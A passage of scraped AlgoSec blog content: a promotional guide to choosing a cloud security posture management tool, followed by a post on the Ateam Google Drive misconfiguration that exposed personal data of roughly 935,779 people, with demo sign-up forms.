breaches that may result in financial losses, legal liabilities, or reputational damage. To protect the complex and fluid cloud environment, sophisticated automation is essential. Enter cloud security posture management. How to Identify and Implement the Right CSPM Solution 1) It must offer a flat learning curve to accelerate time to value: The CSPM solution can be easy to implement, adopt, and use. It should not burden your security team. Rather, it should simplify cloud security by providing non-intrusive, agentless scans of all cloud accounts, services, and assets. It should also provide actionable information in a single-pane-of-glass view that clearly reveals what needs to be remediated in order to strengthen your cloud security posture. In addition, the solution should generate reports that are easy to understand and share. 2) It must support non-intrusive, agentless, static and dynamic analyses: Some CSPM solutions only support static scans, leaving dynamic scans to other intrusive solutions. The problem with the latter is that they require agents to be deployed, managed, and updated for every scan, increasing the organization’s technical debt and forcing security teams to spend expensive (and scarce) resources on solution management. The best way to minimize the debt and the management burden on security teams is to choose a CSPM that can scan for threats in an agentless manner. It should also perform agentless dynamic analyses on all container applications and images that can reveal valuable information about exposed network ports and other risks. 3) It must be reasonably priced: CSPM is important but it shouldn’t burn a hole in your pocket. The solution should fit your security budget and match your organization’s size, cloud environment complexity, and cloud asset usage. Also, look for a vendor that provides a transparent license model and dynamic security features instead of just dynamic, expensive billing (that could reduce your ability to control your cloud costs). Conclusion and next steps The global CSPM market is set to double from $4.2 billion in 2022 to $8.6 billion by 2027. Already, many CSPM vendors and solutions are available. In order to select the best solution for your organization, make sure to consider the three tips discussed here. Need more tailored advice about the security needs of your enterprise cloud? Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

A recent news article from Bleeping Computer called out an incident involving Japanese game developer Ateam, in which a misconfiguration... Cyber Attacks & Incident Response Mitigating cloud security risks through comprehensive automated solutions Malynnda Littky-Porath 2 min read Malynnda Littky-Porath Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 1/8/24 Published A recent news article from Bleeping Computer called out an incident involving Japanese game developer Ateam, in which a misconfiguration in Google Drive led to the potential exposure of sensitive information for nearly one million individuals over a period of six years and eight months. Such incidents highlight the critical importance of securing cloud services to prevent data breaches. This blog post explores how organizations can avoid cloud security risks and ensuring the safety of sensitive information. What caused the Ateam Google Drive misconfiguration? Ateam, a renowned mobile game and content creator, discovered on November 21, 2023, that it had mistakenly set a Google Drive cloud storage instance to “Anyone on the internet with the link can view” since March 2017. This configuration error exposed 1,369 files containing personal information, including full names, email addresses, phone numbers, customer management numbers, and device identification numbers, for approximately 935,779 individuals. Avoiding cloud security risks by using automation To prevent such incidents and enhance cloud security, organizations can leverage tools such as AlgoSec, a comprehensive solution that addresses potential vulnerabilities and misconfigurations. It is important to look for cloud security partners who offer the following key features: Automated configuration checks: AlgoSec conducts automated checks on cloud configurations to identify and rectify any insecure settings. This ensures that sensitive data remains protected and inaccessible to unauthorized individuals. Policy compliance management: AlgoSec assists organizations in adhering to industry regulations and internal security policies by continuously monitoring cloud configurations. This proactive approach reduces the likelihood of accidental exposure of sensitive information. Risk assessment and mitigation: AlgoSec provides real-time risk assessments, allowing organizations to promptly identify and mitigate potential security risks. This proactive stance helps in preventing data breaches and maintaining the integrity of cloud services. Incident response capabilities: In the event of a misconfiguration or security incident, AlgoSec offers robust incident response capabilities. This includes rapid identification, containment, and resolution of security issues to minimize the impact on the organization. The Ateam incident serves as a stark reminder of the importance of securing cloud services to safeguard sensitive data. AlgoSec emerges as a valuable ally in this endeavor, offering automated configuration checks, policy compliance management, risk assessment, and incident response capabilities. By incorporating AlgoSec into their security strategy, organizations can significantly reduce the risk of cloud security incidents and ensure the confidentiality of their data. Request a brief demo to learn more about advanced cloud protection. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call